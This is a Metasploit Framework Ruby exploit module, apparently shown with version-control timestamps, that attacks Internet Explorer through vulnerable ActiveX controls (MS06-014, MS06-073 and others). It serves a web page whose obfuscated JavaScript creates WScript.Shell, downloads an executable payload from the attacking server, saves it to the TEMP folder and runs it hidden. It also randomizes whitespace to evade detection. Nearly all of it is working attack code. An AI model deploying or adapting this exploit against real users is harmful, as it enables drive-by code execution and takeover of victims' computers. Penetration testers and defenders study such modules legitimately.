2007-02-18 00:10:39 +00:00
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##
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# $Id:$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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2007-02-10 19:41:54 +00:00
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::IE_CreateObject < Msf::Exploit::Remote
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include Exploit::Seh
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include Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer COM CreateObject Code Execution',
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'Description' => %q{
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This module exploits a generic code execution vulnerability in Internet
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Explorer by abusing vulnerable ActiveX objects.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'hdm',
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],
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2007-02-18 00:10:39 +00:00
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'Version' => '$Revision$',
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2007-02-10 19:41:54 +00:00
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'References' =>
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[
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[ 'MSB', 'MS06-014' ],
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[ 'MSB', 'MS06-073' ],
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],
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'Payload' =>
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{
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'Space' => 4000,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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# Patched
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[ 'MS06-014 - RDS.DataSpace', { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E36}'} ],
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# Patched
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[ 'MS06-073 - WMIScriptUtils.WMIObjectBroker2.1', { 'CLSID' => '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}'} ],
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# These are restricted by site (might be exploitable via DNS spoofing + SSL fun)
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[ 'UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1', { 'CLSID' => '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}'} ],
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[ 'UNKNOWN - SoftwareDistribution.WebControl.1', { 'CLSID' => '{6414512B-B978-451D-A0D8-FCFDF33E833C}'} ],
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# Visual Studio components, not marked as safe
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[ 'UNKNOWN - VsmIDE.DTE', { 'CLSID' => '{06723E09-F4C2-43c8-8358-09FCD1DB0766}'} ],
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[ 'UNKNOWN - DExplore.AppObj.8.0', { 'CLSID' => '{639F725F-1B2D-4831-A9FD-874847682010}'} ],
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[ 'UNKNOWN - VisualStudio.DTE.8.0', { 'CLSID' => '{BA018599-1DB3-44f9-83B4-461454C84BF8}'} ],
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[ 'UNKNOWN - Microsoft.DbgClr.DTE.8.0', { 'CLSID' => '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}'} ],
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[ 'UNKNOWN - VsaIDE.DTE', { 'CLSID' => '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'} ],
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#
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# The controls below can launch the "installing component" dialogs...
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#
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# Not marked as safe
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[ 'UNKNOWN - Business Object Factory ', { 'CLSID' => '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}'} ],
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# Not marked as safe
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[ 'UNKNOWN - Outlook Data Object', { 'CLSID' => '{0006F033-0000-0000-C000-000000000046}'} ],
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# Found exploitable in the wild (no details)
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[ 'UNKNOWN - Outlook.Application', { 'CLSID' => '{0006F03A-0000-0000-C000-000000000046}'} ],
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],
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def on_request_uri(cli, request)
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if (request.uri.match(/payload/))
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return if ((p = regenerate_payload(cli)) == nil)
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data = Rex::Text.to_win32pe(p.encoded, '')
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print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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# Build out the HTML response page
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var_html = Rex::Text.rand_text_alpha(rand(30)+2)
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var_func_exploit = Rex::Text.rand_text_alpha(rand(30)+2);
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var_func_go = Rex::Text.rand_text_alpha(rand(30)+2);
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var_func_createo = Rex::Text.rand_text_alpha(rand(30)+2);
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var_exe_name = Rex::Text.rand_text_alpha(rand(30)+2);
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var_objects = ''
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# Build the object list based on target selection
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if (target.name == 'Automatic')
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targets.each do |t|
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next if not t['CLSID']
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var_objects += t['CLSID'].unpack('C*').map{|c| " '#{c.chr}' "}.join("+") + ","
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end
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else
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var_objects += target['CLSID'].unpack('C*').map{|c| " '#{c.chr}' "}.join("+") + ","
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end
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content = %Q^
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<html><head><title></title>
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<script language="javascript">
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function #{var_func_createo}( o , n ) {
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var r = null;
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try { eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)" ) }catch(e){}
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if (! r) {
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try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')" ) }catch(e){}
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}
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if (! r) {
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try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')" ) }catch(e){}
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}
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if (! r) {
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try { eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)" ) }catch(e){}
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}
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if (! r) {
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try { eval("r=o" + ".Ge" + "tOb" + "ject(n,'')" ) }catch(e){}
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}
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if (! r) {
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try { eval("r=o" + ".Ge" + "tOb" + "ject(n)" ) }catch(e){}
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}
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return( r );
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}
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function #{var_func_go}( a ) {
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var s = #{var_func_createo}( a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" );
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var o = #{var_func_createo}( a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" );
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var e = s.Environment( "P" + "ro" + "ce" + "ss" );
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var url = document.location + '/p' + 'ay' + 'lo' + 'ad';
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var xml = null;
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var bin = e.Item( "T" + "E" + "M" + "P" ) + "\\#{var_exe_name}" + ".e" + "xe";
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var dat;
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try { xml=new XMLHttpRequest(); }
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catch(e) {
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try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
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catch(e) {
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xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
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}
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}
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if (! xml) {
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return(0);
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}
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xml.open("GET", url, false)
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xml.send(null);
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dat = xml.responseBody;
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o.Type = 1 ;
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o.Mode = 3 ;
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o.Open ( ) ;
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o.Write ( dat ) ;
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o.SaveToFile ( bin, 2) ;
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s.Run ( bin , 0 );
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}
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function #{var_func_exploit}( ) {
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var i = 0;
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var t = new Array( #{var_objects} null );
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while (t[i]) {
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var a = null;
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if (t[i].substring(0,1) == '{') {
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a = document.createElement("object");
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a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + t[i].substring( 1, t[i].length - 1 ) ) ;
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} else {
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try { a = new ActiveXObject(t[i]); } catch(e){}
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}
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if (a) {
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try {
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var b = #{var_func_createo}( a , "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ) ;
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if (b) {
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#{var_func_go}( a ) ;
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return(0) ;
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}
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} catch(e){
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}
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}
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i++;
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}
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}
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</script>
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</head>
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<body onload='#{var_func_exploit}()'>
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#{var_html}
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</body>
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</html>
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^
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# Randomize the whitespace in the document
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content.gsub!(/\s+/) do |s|
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len = rand(100)+2
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set = "\x09\x20\x0d\x0a"
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buf = ''
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while (buf.length < len)
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buf << set[rand(set.length)].chr
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end
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buf
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end
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print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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end
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end
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end
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